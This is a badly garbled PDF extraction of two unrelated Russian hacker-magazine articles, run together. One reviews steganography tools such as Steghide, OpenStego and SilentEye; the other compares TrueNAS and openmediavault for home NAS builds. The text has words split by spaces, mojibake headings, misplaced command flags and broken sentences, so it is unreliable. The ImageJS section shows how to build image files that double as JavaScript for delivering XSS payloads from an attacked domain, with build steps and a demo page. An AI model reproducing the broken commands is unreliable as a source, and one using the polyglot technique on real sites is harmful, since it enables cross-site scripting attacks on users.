информа ции при менять стрем но. Но есть и плю сы, вро де прос тоты работы
и того, что выход ных фор матов чуть более чем куча.

STEGHIDE

 любая• Ïëàò ôîðìà:

 • Ãäå ñêà ÷èâàòü: GitHub

Steghide — кон соль ная ути лита, написан ная на C++. Скры вает информа цию
в стан дар тных фай лах фор матов JPEG, BMP, WAV и AU. В арсе нале прог- 
раммы пол но шиф ров — даже Blowsh, которо го я у дру гих не замечал.
Теоре тичес ки исполь зование такой экзо тики может помочь запутать сле ды
еще силь нее.

Steghide уме ет не прос то упа ковы вать дан ные в кар тинку или трек, а еще
и шиф ровать сек ретную наг рузку.

Но есть и минус: не все фотог рафии и ауди офай лы подой дут для внед- 
рения в них сек ретной наг рузки. Если файл слиш ком малень кий — внед рить
в него ничего нель зя.

Да вай поп робу ем объ еди нить кар тинку  и сек ретный фай ликcats.jpg
save.txt.

От кры ваем тер минал и пишем:

steghide embed -cf cats.jpg -ef save.txt 

 — файл, который мы будем встра ивать;--embedfile [-ef]
 — файл-обложка, в который внед ряет ся сек ретная

инфа;
--coverfile [-cf]

 — сжи мать дан ные перед упа ков кой;--compress [-z]
 — шиф ровать внед ряемые дан ные.--encryption [-e]

Рас паков ка так же прос та, как упа ков ка:

steghide extract -sf cats.jpg 

Ключ  поз воля ет выб рать файл со скры той информа цией,
а  ука зыва ет пароль.

--stegofile [-sf]
--passphrase [-p]

Вот что получи лось

Из-за при мене ния сжа тия раз ница раз меров до и пос ле внед рения
минималь на.

Мне пон равилась воз можность ста вить пароли и сжи мать дан ные.
Однознач но хорошая шту ка, которую мож но исполь зовать в любитель ских
целях. К тому же мож но соз дать цепоч ку из объ ектов, которые будут спря таны
друг в дру ге. А минус толь ко в том, что не вся кое изоб ражение под ходит
для этой манипу ляции, но мы же живем в XXI веке, и най ти новую фот ку вооб- 
ще не воп рос, прав да?

SPECTROLOGY

 любая• Ïëàò ôîðìà:

 • Ãäå ñêà ÷èâàòü: GitHub

Наз вание прог раммы Spectrology говорит само за себя — она поз воля ет
прев ращать изоб ражения в ауди одо рож ки с «заряжен ными» спек трог рамма- 
ми, из которых потом мож но дос тать кар тинки. Зву чит кру то, но без проб лем
не обош лось.

Пе ред пер вым запус ком нуж но пос тавить модуль .pillow

 pip   pip python3 -m install --upgrade
 pip  python3 -m install --upgrade Pillow 

Сра зу бро сает ся в гла за вто рой огромный минус — край не мед ленная
работа. Хоть он и с лих вой перек рыва ется плю сами в виде необыч ного алго- 
рит ма работы и перено симос ти (написа на на Python).

Да вай запаку ем изоб ражение BMP в файл WAV. Дела ется это так:

python spectrology.py your_filename.bmp -o music.wav 

 — флаг, отве чающий за наз вание выход ного ауди офай ла;--output [-o]
 зада ет ниж ний час тотный диапа зон;--botton [-b]
 поз воля ет уста новить количес тво пик селей в секун ду;--pixels [-p]

 ста вит час тоту дис кре тиза ции.--sampling [-s]

Да вай пос мотрим, какого раз мера будет готовый ауди офайл.

В целом работа ет мед ленно и из короб ки даже не запус кает ся — при ходит ся
недос тающие модули ста вить вруч ную. Не про изво дит впе чат ления хорошо
про рабо тан ного инс тру мен та, хотя задум ка, безус ловно, клас сная.

IMAGESPYER G2

 Windows• Ïëàò ôîðìà:

 где получит ся• Ãäå ñêà ÷èâàòü:

Это одна из древ них ути лит, ког да-то написан ных Алек сан дром Мяс никовым
и ныне встре чающаяся лишь на прос торах фай лопомо ек. Офи циаль ный сайт
у нее если ког да-то и был, то дав но не работа ет. Тем не менее прог рамма
зас лужива ет вни мания.

ImageSpyer пря чет сек ретные фай лы толь ко в кар тинки и даже раз реша ет
ста вить пароль, что бы зашиф ровать дан ные перед внед рени ем. Прог рамма
под держи вает око ло 30 алго рит мов шиф рования внед ряемой информа ции
и 25 хеш-фун кций для под писи, что бы убе дить ся, что встро енный в кар тинку
файл не побил ся при переда че.

Боль шой плюс — наличие гра фичес кого интерфей са с понят ными пояс нени- 
ями и мно жес твом нас тро ек. Выход ных фор матов все го два: BMP и TIFF.

Пос мотрим, нас коль ко силь но уве личил ся объ ем фотог рафии.

Сле ва — пос ле обра бот ки, спра ва — до

Как видишь, из малень кого котика раз мером 59,6 Кбайт мы сде лали тол сто го
кота на целых 1530 Кбайт. Резуль тат неп лохой, да и работа ет ImageSpyer
быс тро, так что сме ло рекомен дуем к исполь зованию.

Продолжение статьи →

mailto:vlad.klintov@mail.ru
https://xakep.ru/2017/01/23/windows-stenographic-tools/
https://github.com/TryCatchHCF/Cloakify
https://github.com/StefanoDeVuono/steghide
https://github.com/solusipse/spectrology


КАРТИНКИ

С СЕКРЕТАМИ
ТЕСТИРУЕМ ВОСЕМЬ УТИЛИТ

ДЛЯ СОКРЫТИЯ ДАННЫХ

ТРЮКИ  НАЧАЛО СТАТЬИ←

REDJPEG

 Windows• Ïëàò ôîðìà:

 где получит ся• Ãäå ñêà ÷èâàòü:

Еще один сте гозавр авторс тва Алек сан дра Мяс никова. На этот раз — с собс- 
твен ным алго рит мом внед рения изоб ражения в кар тинки, сжа тием LZMA
и офор мле нием для нос таль гиру ющих по СССР.

Вождь чита ет инс трук цию

Нас трой ки

А что у нас по объ ему пос ле запаков ки тек ста в кар тинку?

Впе чат ления исклю читель но позитив ные. Прог рамма поз воля ет хорошо
спря тать и зашиф ровать любую нуж ную информа цию. Под ходит для пос тоян- 
ного исполь зования.

OPENSTEGO

 любая• Ïëàò ôîðìà:

 • Ãäå ñêà ÷èâàòü: GitHub

Про ект OpenStego реали зован на Java, име ет под дер жку шиф рования AES
и край не популя рен сре ди жела ющих поз накомить ся со сте ганог рафи ей.
Под держи вает пла гины, что бы ты сам смог реали зовать какой-нибудь сте- 
ганог рафичес кий алго ритм. Есть вер сии и для Windows, и для Linux.

Как и ImageSpyer, OpenStego зна читель но раз дува ет раз меры фай ла, хоть
и не нас толь ко силь но. Под держи вает ся так же все го один спо соб упа ков ки,
но это лег ко поп равить пла гина ми. Выход ные фай лы могут быть толь ко в фор- 
мате PNG, но это нель зя наз вать сов сем уж боль шим минусом, тем более что
на вход мож но подавать поч ти любой фор мат.

Есть и инте рес ная фун кция, которой я не нашел у кон курен тов, — Digital
Watermarking. Она поз воля ет тай ком пометить фотог рафию, что бы лег ко най- 
ти вора. Для это го прог рамма внед ряет в кар тинку незамет ный иден тифика- 
тор, который в даль нейшем мож но будет дос тать и про верить, кто взял кар- 
тинку без спро са.

Прог рамма не тре бует уста нов ки, а запус кает ся бат ником.

Срав нение

Файл на выходе получил ся куда тол ще, чем был, — раз мер уве личил ся поч ти
на 800 Кбайт.

По срав нению с ImageSpyer OpenStego все же более богат фичами, что
мне пон равилось.

SILENTEYE

 любая• Ïëàò ôîðìà:

 • Ãäå ñêà ÷èâàòü: сайт на GitHub

SilentEye — кросс-плат формен ный софт с прос тым интерфей сом. Обла дает
мно жес твом пла гинов и при ятным GUI. Исполь зует сов ремен ные алго рит мы
сте ганог рафии и мас киров ки.

Из оче вид ных пре иму ществ отме чу ввод мас киру емо го тек ста пря мо в окне
прог раммы вмес то заг рузки тек сто вых фай лов из сто рон него редак тора.
Серь езно, фича прос тая, а ник то до это го не додумал ся. Фор маты выход ных
фай лов кар тинок — BMP, JPEG, PNG, GIF, TIFF, зву ка — толь ко WAV.

Мож но нас тро ить качес тво выход ного изоб ражения — оно опре деля ет,
сколь ко потерь будет при кодиро вании в JPEG.

Для шиф рования внед ренных дан ных при меня ется AES, но нас тро ек куда
боль ше, чем у OpenStego.

При про вер ке уве личе ния объ ема приш лось исполь зовать дру гую кар тинку
в качес тве исходной, но вид но, что объ ем поч ти не изме нил ся, то есть прог- 
рамма работа ет эффектив но.

Раз мер фай ла с кар тинкой уве личил ся все го на 13,5 Кбайт — очень хороший
резуль тат!

Ути лита может спо кой но заменить ста рич ка OpenStego. Работа ет она чуть
мед леннее кон курен тов, но зачас тую это нек ритич но. Тоже рекомен дую.

IMAGEJS

 Linux• Ïëàò ôîðìà:

 • Ãäå ñêà ÷èâàòü: GitHub

ImageJS пред назна чена не сов сем для сок рытия информа ции от людей.
Вмес то это го она помога ет обма нывать бра узе ры, которые совер шенно
обос нован но пред полага ют, что в валид ных кар тинках ничего пос торон него
быть не дол жно.

ImageJS поз воля ет соз дать кар тинки, которые одновре мен но пред став- 
ляют собой нас тоящие JS-скрип ты. Это нуж но, что бы упростить про веде ние
более опас ных XSS-атак, в которых иног да тре бует ся под гру зить скрипт
имен но с ата кован ного домена. Вот тут на помощь при ходит воз можность
заг рузить туда ава тар ку, которая одновре мен но содер жит JavaScript payload
для даль нейшей ата ки. Прог рамма под держи вает внед рение в фор маты BMP,
GIF, WEBP, PNG и PDF.

Для сбор ки нуж ны пакеты  и . Даль ше все прос то:build-esential cmake

$ git clone https://github.com/jklmnn/imagejs.git 
$ cd imagejs 
$ mkdir build 
$ cd build 
$ cmake .. 

make $ 

Да вай соз дадим  со сле дующим кодом, а потом упа куем его
в :

script.js
image.gif

alert("Hello, Xakep!");
    ./imagejs gif script.js -i image.gif

На выходе будет файл с двой ным рас ширени ем, но это не беда.
Сей час мы про верим все в деле! Соз давай HTML-стра нич ку со сле- 

дующим кодом и сох раняй ее рядом с нашей заряжен ной кар тинкой.

<html>
   <title>Knock, Knock, Neo</title>
   <head>

         <img src="script.js.gif" alt="Matrix">
       <script src="script.js.gif"></script>
   </head>
</html>

Сох раня ем и откры ваем. Дол жно получить ся как на скрин шоте.

Раз мер кар тинки поч ти не меня ется, что нам очень на руку.

Прог рамма шикар на, хоть и при мени ма толь ко в очень спе цифич ных целях.

ÂÛÂÎÄÛ

За менить кросс-плат формен ный и богатый фичами OpenStego слож но,
но при желании мож но. SilentEye будет неп лохим выбором, но и ути лит ки
Алек сан дра Мяс никова тоже рекомен дую поп робовать, если у тебя Windows.
Если же ты фанат кон соли или мас теришь какую-то авто мати зиро ван ную сис- 
тему, то тебе может при годить ся один из вари антов, написан ных на Pyhton.

В таб лице я свел воеди но информа цию об упо мяну тых прог раммах и про тес- 
тировал сте ганог рафиро вание в кар тинки тек сто вого фай ла раз- 
мером 1,07 Кбайт.

https://github.com/syvaidya/openstego/releases
https://achorein.github.io/silenteye/
https://github.com/jklmnn/imagejs
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ТРЮКИ

При всем богатс тве выбора готовых
сетевых хра нилищ от круп ных про изво дите- 
лей энту зиазм жела ющих соб рать и нас тро- 
ить свой собс твен ный NAS не исся кает.
Сегод ня, пожалуй, луч шее вре мя для того,
что бы это сде лать. От воз можнос тей бук- 
валь но раз бега ются гла за: TrueNAS Core,
TrueNAS Scale, openmediavault, а так же
вари анты для спе цифи чес ких сце нари ев
исполь зования Unraid и SnapRAID. Все
вари анты по-сво ему хороши и обла дают
при этом сво ими спе цифи чес кими осо бен- 
ностя ми. Что из это го подой дет тебе? Поп- 
робу ем разоб рать ся.

TRUENAS SCALE, TRUENAS CORE È OPENMEDIAVAULT

Еще недав но при нас трой ке нового сетево го хра нили ща у поль зовате лей
самос борных NAS было две основные воз можнос ти: FreeNAS
и openmediavault. Инте рес на исто рия этих про ектов. FreeNAS был выпущен
в 2005 году раз работ чиком Оливье Кошар-Лаб бе (Olivier Cochard-Labbé),
который со вре менем потерял инте рес к про екту. К 2009 году единс твен ным
активным раз работ чиком FreeNAS остался Фоль кер Тай ле (Volker Theile),
пред ложив ший перевес ти про ект на осно ву Linux вмес то исполь зовав шей ся
на тот момент m0n0wall, осно ван ной, в свою оче редь, на embedded FreeBSD.
Оливье перево дить про ект на новые рель сы отка зал ся, и Фоль кер покинул
FreeNAS, соз дав новую сис тему openmediavault на осно ве Debian Linux.
Оливье же передал пра ва на FreeNAS аме рикан ской ком пании iXSystems,
которая и занима ется раз работ кой и прод вижени ем про екта.

INFO

Мир тесен: openmediavault раз рабаты вает ся
и под держи вает ся быв шим клю чевым раз работ- 
чиком FreeNAS.

Со вре менем под управле нием iXSystems выш ла ком мерчес кая вер сия —
TrueNAS. Еще чуть поз же вет ки бес плат ного FreeNAS и ком мерчес кого
TrueNAS были объ еди нены, а сов сем недав но уже объ еди нен ный TrueNAS
вновь раз делил ся на два про екта: осно ван ный на FreeBSD TrueNAS Core
и .TrueNAS Scale, работа ющий на Debian 11 (Bullseye)

Та ким обра зом, на сегод няшний день выбор сто ит меж ду тре мя похожи ми,
но очень раз ными сис темами: TrueNAS Core, TrueNAS Scale и openmediavault.
Для начала при веду таб лицу, в которой срав нива ются выб ранные мной клю- 
чевые парамет ры трех сис тем.

(* Миг рация зашиф рован ных GELI томов )опи сана в докумен тации
А теперь — рас шифров ка таб лицы.

ÐÀÇÐÀÁÎÒ×ÈÊ

Обе сис темы дос тупны как в виде готовых дис три бути вов, так и в виде откры- 
того исходно го кода. Обе вер сии TrueNAS раз рабаты вают ся и под держи- 
вают ся ком пани ей iXSystems, которая зараба тыва ет на лицен зирова нии ком- 
мерчес кой вер сии сис темы (в том чис ле дос таточ но круп ным ком пани ям),
про даже готовых NAS с пре дус танов ленной сис темой TrueNAS и ока зании
услуг под дер жки и соп ровож дения.

Openmediavault раз рабаты вает ся единс твен ным раз работ чиком Фоль- 
кером Тай ле, а под дер жка осу щест вля ется через форум. К сло ву, мне
довелось пооб щать ся с Фоль кером; отме чу дру желю бие и про фес сиона лизм
раз работ чика, который не получа ет за работу ни цен та.

ÁÀÇÎÂÀß ÎÑ È ÂÍÅØÍÈÉ ÂÈÄ

Все три сис темы явля ются надс трой ками над UNIX-подоб ными сис темами.
TrueNAS Core работа ет на FreeBSD со все ми ее осо бен ностя ми (отме чу
монолит ные обновле ния и собс твен ный, отличный от Linux стек драй веров),
пре иму щес тва ми и недос татка ми (наибо лее зна чимы сре ди них, пожалуй,
отсутс твие под дер жки Docker и несов мести мость с некото рыми популяр ными
и недоро гими 10-гигабит ными сетевы ми кар тами и кар тами HBA).

TrueNAS Scale, нап ротив, осно вана на акту аль ной вер сии Debian 11, что
поз волило добить ся как под дер жки несов мести мых с TrueNAS Core карт рас- 
ширения, так и кон тей неров Docker.

По умол чанию в TrueNAS уста нов лена тем ная тема интерфей са.

При желании мож но перек лючить ся на свет лую или соз дать собс твен ную.

OMV тес но интегри рует ся с Debian Linux. OMV 4.x работа ет поверх Debian 9,
акту аль ная OMV 5.x исполь зует Debian 10, а OMV 6 (на сегод ня име ет ста тус
тес товой сбор ки) — Debian 11.

В OMV 4 и 5 дос тупна единс твен ная свет лая тема.

В OMV 6.0 интерфейс был изме нен.

ÓÑÒÀÍÎÂÊÀ, ÍÀÑÒÐÎÉÊÀ È ÎÑÎÁÅÍÍÎÑÒÈ ÎÐÃÀÍÈÇÀÖÈÈ

ÕÐÀÍÈËÈÙÀ

Ус танов ка всех опи сан ных вари антов доволь но прос та: дос таточ но ска чать
дис три бутив для нуж ной плат формы, соз дать заг рузоч ный накопи тель и заг- 
рузить ся с него. Одна ко для openmediavault дос тупен и аль тер натив ный спо- 
соб уста нов ки — поверх уже нас тро енной вер сии Debian (на Debian 9 мож но
уста новить OMV 4.x, а на Debian 10 — 5.x).

А вот с соз дани ем мно годис кового мас сива у неопыт ного поль зовате ля
TrueNAS могут воз никнуть слож ности. Если OMV исполь зует стан дар тный
для Linux и всем при выч ный mdadm для соз дания и управле ния RAID, то ZFS
в TrueNAS — это не толь ко фай ловая сис тема, но и низ коуров невый менед- 
жер мно годис ковых кон фигура ций. Стан дар тные уров ни RAID в ZFS отсутс тву- 
ют; вмес то них исполь зуют ся фун кци ональ ные ана логи. Так, ана логом RAID
5 будет RAID-Z1, а ана логом RAID 6 — RAID-Z2. Z1 и Z2 ука зыва ют на уро вень
избы точ ности и озна чают количес тво дис ков в мас сиве, которые могут вый ти
из строя без потери дан ных: в мас сиве RAID-Z1 без потери дан ных может
вый ти из строя любой один диск, а в RAID-Z2 — любые два.

Од нако на этом слож ности толь ко начина ются. Дис ковый мас сив фор миру ет
один vdev (virtual device); один или нес коль ко vdev фор миру ют пул (zpool),
на котором, в свою оче редь, мож но соз дать один или нес коль ко логичес ких
раз делов (dataset в тер минах ZFS). (О тополо гии ZFS почитать мож но, нап- 
ример, .)здесь

В срав нении со стан дар тным mdadm такая орга низа ция слож нее
для понима ния, одна ко она обес печива ет отличную гиб кость. Так, мож но соз- 
дать пул из трех дис ков, сфор мирован ных в мас сив RAID-Z1, а потом рас- 
ширить его еще тре мя дис ками, так же сфор мирован ными в RAID-Z1, при чем
раз меры изна чаль ного и добав ленно го поз днее vdev могут не сов падать.
Это, безус ловно, удоб но и соз дает иллю зию бес конеч ных воз можнос тей рас- 
ширения. Увы, имен но иллю зию.

На сегод няшний день в TrueNAS не под держи вает ся рас ширение объ ема
хра нили ща на уров не vdev. Ты можешь рас ширить пул (zpool), добавив к нему
еще один vdev, сфор мирован ный из любого количес тва дис ков в любой под- 
держи ваемой кон фигура ции, но рас ширить дос тупный объ ем vdev добав- 
лени ем еще одно го дис ка в уже сущес тву ющий vdev или уста нов кой в vdev
дис ков боль шего объ ема у тебя не получит ся. Может быть, через нес коль ко
лет эта воз можность и появит ся в TrueNAS, но в ско ром вре мени я бы ее
не ожи дал. Под робно о слож ностях рас ширения vdev — в статье 

.
ZFS fans,

rejoice — RAIDz expansion will be a thing very soon

ÊÓÄÀ ÓÑÒÀÍÀÂËÈÂÀÅÒÑß

Все три сис темы тре буют для уста нов ки отдель ный накопи тель — жес ткий
диск или SSD, сог лаша ясь, впро чем, и на флеш-накопи тель или кар ту памяти
(если ты собира ешь ся исполь зовать флеш ку или кар ту памяти для уста нов ки
OMV — не поленись уста новить пла гин ashmemory из репози тория omv-
extras; он перене сет в опе ратив ную память час ти фай ловой сис темы,
в которые идут час тые опе рации записи, и будет син хро низи ровать эти дан- 
ные при заг рузке и вык лючении устрой ства). У это го под хода есть как дос- 
тоинс тва (дис ки с дан ными смо гут кор рек тно «засыпать», и сис тема не будет
рас кру чивать их каж дый раз, ког да ей при дет в голову добавить запись в жур- 
нал), так и недос татки (все нас трой ки сис темы про падут, если выделен ный
накопи тель вый дет из строя, а резер вной копии нас тро ек под рукой нет).

Кста ти, при ложив опре делен ные уси лия, OMV мож но уста новить и на тот
же диск, на котором будут хра нить ся дан ные. Так было сде лано, нап ример,
в сбор ках для одно дис ковых NAS WD MyCloud Home. Под водных кам ней
здесь тоже хва тает; в пер вую оче редь — труд но добить ся качес твен ного
«засыпа ния» такого дис ка.

ÑÎÂÌÅÑÒÈÌÎÑÒÜ È ÑÈÑÒÅÌÍÛÅ ÒÐÅÁÎÂÀÍÈß

Здесь все прос то: TrueNAS тре бует про цес сор с архи тек турой Intel и как
минимум 8 Гбайт опе ратив ной памяти. Openmediavault, нап ротив, пре дель но
нет ребова телен; его мож но уста новить даже на Raspberry Pi. По лич ному опы-
ту, он отлично (и очень быс тро!) работа ет даже на устрой ствах ARM с четырь- 
мя ядра ми Cortex A53 и 512 Мбайт опе ратив ной памяти. OMV мож но уста- 
новить даже на такие устрой ства, как WD MyCloud Home (как одно-, так
и двух диско вые модели)!

Для чего TrueNAS столь ко опе ратив ной памяти? Раз гадка кро ется в воз- 
можнос ти дедуп ликации записы ваемых дан ных в реаль ном вре мени. Если эта
воз можность вклю чена, то таб лицы дедуп ликации хра нят ся в опе ратив ной
памяти. ZFS будет счи тать кон троль ные сум мы записы ваемых бло ков дан ных,
и если най дет ся сов падение, то блок не будет записан на диск; вмес то него
добавит ся ука затель. Отме чу, что дедуп ликация в режиме реаль ного вре мени
работа ет доволь но мед ленно: ско рость записи может упасть в 3–5 раз, если
мы говорим о дос таточ но быс тром мас сиве и 10-гигабит ной сети. Впро чем,
при гигабит ном соеди нении падение ско рос ти мож но и не заметить.

Очень час то мож но встре тить рекомен дацию исполь зовать TrueNAS сов- 
мес тно с памятью с кор рекци ей оши бок (ECC RAM). Здесь нуж но понимать,
что это имен но рекомен дация; TrueNAS будет работать и с обыч ной памятью,
не отли чаясь в этом от любых дру гих сис тем. В то же вре мя ZFS дей стви тель- 
но жад ная до памяти фай ловая сис тема, и пов режде ния дан ных в RAM впол не
могут при вес ти к пов режде нию дан ных на дис ках, в ряде слу чаев фаталь ным.
Впро чем, то же самое спра вед ливо и для дру гих сис тем. Если есть воз- 
можность исполь зовать ECC RAM — исполь зуй, нет — поль зуйся тем, что
есть под рукой.

ÏÎÄÄÅÐÆÊÀ ÔÀÉËÎÂÛÕ ÑÈÑÒÅÌ

TrueNAS в обо их вари антах выделя ется пол ноцен ной под дер жкой всех воз- 
можнос тей ZFS — как собс твен но фай ловой сис темы, так и сис темы управле- 
ния дис ками. Сюда вхо дит соз дание всех уров ней хра нилищ (vdev, zpool,
dataset) и управле ние ими, шиф рование, снап шоты и их реп ликация, а так же
дедуп ликация дан ных в режиме реаль ного вре мени. Дру гие фай ловые сис- 
темы под держи вают ся TrueNAS пос толь ку-пос коль ку, нап ример для импорта
дан ных с отформа тиро ван ного в такой фай ловой сис теме накопи теля.

В openmediavault по умол чанию под держи вают ся те фай ловые сис темы,
которые под держи вают ся в Debian Linux. По умол чанию для хра нения дан ных
будет исполь зована ext4. .Пол ный спи сок под держи ваемых фай ловых сис тем

В чис ло под держи ваемых OMV фай ловых сис тем фор маль но вхо дят
BTRFS и ZFS, одна ко не жди от них мно гого: для управле ния дис ками BTRFS
исполь зует ся коман дная стро ка, а для ZFS под держи вают ся далеко не все
воз можнос ти. В час тнос ти, ни для одной фай ловой сис темы не под держи- 
вают ся снап шоты и их реп ликация. Ты можешь соз давать снап шоты вруч ную
из коман дной стро ки (в кон це кон цов, OMV работа ет поверх пол ноцен ного
дис три бути ва Debian) или даже через веб-интерфейс в качес тве Scheduled
Tasks, но это все рав но будет слож нее, чем готовое решение. Так что, если
тебе нуж ны воз можнос ти фай ловой сис темы, свя зан ные с соз дани ем и реп- 
ликаци ей снап шотов, смот ри в сто рону TrueNAS.

ØÈÔÐÎÂÀÍÈÅ ÄÀÍÍÛÕ

В openmediavault встро енно го шиф рования нет, но есть пла гин
.openmediavault-luksencryption

В TrueNAS под держи вает ся сра зу нес коль ко стан дартов шиф рования.
Во-пер вых, это SED (Self Encrypting Drive), аппа рат ное шиф рование, дос- 

тупное в некото рых моделях дис ков. Под робно опи сано .здесь
Во-вто рых, это шиф рование GELI, при нятое за стан дарт в FreeBSD.

В TrueNAS 12 (обо их видов) этот тип шиф рования заменен на дру гой,
но ранее соз данные зашиф рован ные тома по-преж нему мон тиру ются
и работа ют.

На конец, новый стан дарт шиф рования в TrueNAS — Native ZFS encryption,
под робно опи сан ный в статье Ars Technica 

.
A quick-start guide to OpenZFS

native encryption

Ес ли не вда вать ся в тех ничес кие под робнос ти (а они впол не дос тупны), native
ZFS encryption обла дает целым рядом пре иму ществ по срав нению как с
LUKS, так и с GELI, поз воляя выпол нять боль шинс тво, если не все коман ды zfs
и zpool на зашиф рован ных дис ках, даже если ключ шиф рования не ука зан
или неиз вестен. Сюда вхо дят сер висные опе рации по верифи кации целос- 
тнос ти дан ных, момен таль ные сним ки (снап шоты) и их реп ликация (о том, что
это такое и зачем нуж но, я писал ) и мно гие дру гие коман ды. Если же
диск зашиф рован LUKS, то для выпол нения подоб ных опе раций пот ребу ется
сна чала ввес ти ключ шиф рования.

здесь

У это го вида шиф рования есть и свои отри цатель ные сто роны, при чем
имен но в области безопас ности. Во-пер вых, без вво да клю ча шиф рования
будут дос тупны име на и раз меры фай ловых сис тем (и дру гие дан ные, дос- 
тупные с помощью команд zfs и zpool). Впро чем, име на и раз меры зашиф- 
рован ных фай лов вид ны не будут, рав но как и про чие метадан ные, которые
нель зя получить с помощью команд zfs и zpool.

Еще один тип дан ных, который не защищен native ZFS encryption, — таб- 
лицы дедуп ликации. Точ нее, отдель ные бло ки дан ных по-преж нему зашиф- 
рованы, но ана лиз таб лиц дедуп ликации может показать, какие имен но бло ки
на дис ке дуб лиру ются. Цен ность этой информа ции для зло умыш ленни ка сом- 
нитель на, поэто му дан ный аспект native ZFS encryption не счи тает ся кри тичес- 
ким с точ ки зре ния безопас ности. Тем не менее в слу чае шиф рования кри- 
тичес ки важ ных дан ных онлайн-дедуп ликацию рекомен дует ся отклю чать.

На конец, сущес тву ет ско рее теоре тичес кая, чем прак тичес кая уяз вимость
CRIME (Compression Ratio Info-leak Made Easy), которая может быть реали- 
зова на в сце нарии, ког да дан ные сжи мают ся перед тем, как быть зашиф- 
рован ными.

ÑÍÀÏØÎÒÛ, ØÈÔÐÎÂÀÍÈÅ È ÐÅÏËÈÊÀÖÈß

О сним ках (снап шотах) и их реп ликации я под робно писал в статье «

». В двух сло вах, снап шоты — это прак тичес ки иде аль ный спо соб резер- 
вно го копиро вания, поз воля ющий как защитить дан ные от раз нооб разных
шиф роваль щиков, так и реп лициро вать толь ко изме нив шиеся дан ные (даже
если дан ные зашиф рованы, а ключ шиф рования не вве ден). Более того, мас- 
совые пере име нова ния фай лов или папок при ведут к син хро низа ции толь ко
узлов фай ловой сис темы; к при меру, rsync нач нет уда лять и копиро вать пере- 
име нован ные фай лы.

NAS
на Ryzen. На что спо собен Synology DS1621+ и зачем ему мощ ный про цес- 
сор

ZFS под держи вает снап шоты, а TrueNAS пре дос тавля ет удоб ный механизм
для их соз дания и реп ликации.

В openmediavault снап шоты на уров не веб-интерфей са не под держи вают ся.
Ты можешь соз давать их вруч ную из коман дной стро ки или исполь зовать
для это го раз дел веб-интерфей са Scheduled Tasks. С реп ликаци ей слож нее.
Если же ты зашиф ровал дан ные пла гином LUKS, то для соз дания снап шота
тебе при дет ся смон тировать зашиф рован ный раз дел. В любом слу чае, если
тебе нуж ны снап шоты и реп ликация, рекомен дую смот реть в сто рону
TrueNAS. А вот если резер вные копии пла ниру ется хра нить на внеш них дис ках
с USB, то openmediavault пред лага ет встро енное управле ние такими резер- 
вны ми копи ями — а TrueNAS нет.

В OMV мож но соз давать бэкапы на внеш них дис ках

Кста ти, rsync в TrueNAS тоже есть.

Продолжение статьи →
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TRUENAS, TRUENAS

ИЛИ OMV?
ВЫБИРАЕМ СОФТ ДЛЯ СЕТЕВОГО

ХРАНИЛИЩА

ТРЮКИ  НАЧАЛО СТАТЬИ←

ÎÁÍÎÂËÅÍÈß È ÏÀÒ×È ÁÅÇÎÏÀÑÍÎÑÒÈ

За чем нуж ны и почему важ ны регуляр ные обновле ния NAS? Хотя бы для того,
что бы не пов торилась ситу ация с WD MyBook Live, с которых зло умыш ленни ки

. Извес тны и дру гие слу чаи — нап ример, мно гочис- 
ленные .
мас сово уда ляли дан ные

уяз вимос ти QNAP
Об новле ниями TrueNAS занима ется про изво дитель, ком пания iXSystems.

Обновле ния сис темные (монолит ные), выходят дос таточ но регуляр но; есть
штат ная под дер жка круп ных обновле ний (нап ример, переход с FreeNAS
11 на TrueNAS Core 12).

Пе реход с TrueNAS Core на TrueNAS Scale воз можен; при этом сох раня ются
дан ные, но теря ются нас трой ки сис темы. С перехо дом в обратную сто рону
могут воз никнуть слож ности. На тот момент, ког да я тес тировал эту воз- 
можность, в TrueNAS Scale исполь зовалась более све жая вер сия OpenZFS.
Пос ле обновле ния вер сии метадан ных ZFS (делать это было необя затель но)
исполь зовать тот же dataset в TrueNAS Core уже не уда лось. Так что, если
захочешь поп робовать TrueNAS Scale с воз можностью отка тить ся на TrueNAS
Core, прос то не обновляй метадан ные ZFS.

Об новле нием openmediavault занима ется… мно го кто. Обновле ния собс твен- 
но OMV пос тавля ет раз работ чик. А вот обновле ния пакетов Debian,
под управле нием которо го работа ет сис тема, модуль ные и ведут ся силами
сооб щес тва раз работ чиков: если в каком-то пакете будет обна руже на уяз- 
вимость, то с боль шой веро ятностью ее устра нят до того, как руки зло умыш- 
ленни ков дотянут ся до тво его устрой ства.

При этом вер сия Debian обновлять ся не будет: OMV 4.x может работать толь- 
ко на Debian 9, а OMV 5.x — толь ко на Debian 10. Впро чем, с точ ки зре ния
безопас ности боль шой раз ницы нет: и Debian 9, и тем более Debian 10 будут
получать модуль ные обновле ния еще очень дол го. Кста ти, для уста нов ки (или
при обновле нии) некото рых пакетов может пот ребовать ся уста новить более
све жие сбор ки зависи мос тей из аль тер натив ных репози тори ев.

Дос тупные репози тории

Серь езный недос таток OMV — отсутс твие штат ного спо соба уста нов ки круп- 
ных обновле ний. Перей ти с OMV 4 на OMV 5 штат ным обра зом нель зя (при
этом сбор ки OMV 4 обновлять ся не будут). Сущес тву ют инс трук ции, сос- 
тавлен ные поль зовате лями, и они могут сра ботать или не сра ботать (у меня
не сра бота ли). Соот ветс твен но, если ты заин тересо ван в исполь зовании све- 
жих сбо рок OMV, то готовь ся к еже год ной слож ной и рис кован ной работе.

Вот как поль зовате ли опи сыва ют свои впе чат ления от обновле ния OMV
с вер сии 4 на 5 ( ):ори гинал на немец ком

«Основная проб лема и самый боль шой недос таток OMV зак люча ется
в том, что он не соз дает „общий файл кон фигура ции“, с помощью которо го
мож но прос то обно вить ОС. Это озна чает, что с каж дым обновле нием OMV
нуж но:

про верить пла гины: про верь те, дос тупны ли по-преж нему исполь зуемые
пла гины пос ле обновле ния (при перехо де с v4 на v5 мно гих пла гинов
не ста ло из-за наличия соот ветс тву ющих обра зов Docker);

•

сох ранить нас трой ки: сде лай те скрин шоты или сох раните каталог 
Clonezilla или ана логич ный образ сис темно го дис ка (и ско пируй те в мес то,
где у вас есть дос туп даже без NAS).

• /etc

А еще луч ше — прос то возь мите запас ной диск и уста нови те на нем новую
вер сию ОС. Дис ки с дан ными, RAID и ZFS при таком обновле нии обыч но рас- 
позна ются и мон тиру ются авто мати чес кими (вни мание: SnapRAID и/или
mergerfs авто мати чес ки не опре деля ются)!»

Дру гой недос таток OMV — имен но в модуль нос ти обновле ний. За пол года
исполь зования NAS с OMV я дваж ды стал кивал ся с тем, что обновле ние
какого-то пакета сби вало нас трой ки в опре делен ных фай лах кон фигура ции,
и устрой ство начина ло работать некор рек тно.

Кто виноват? Что делать?

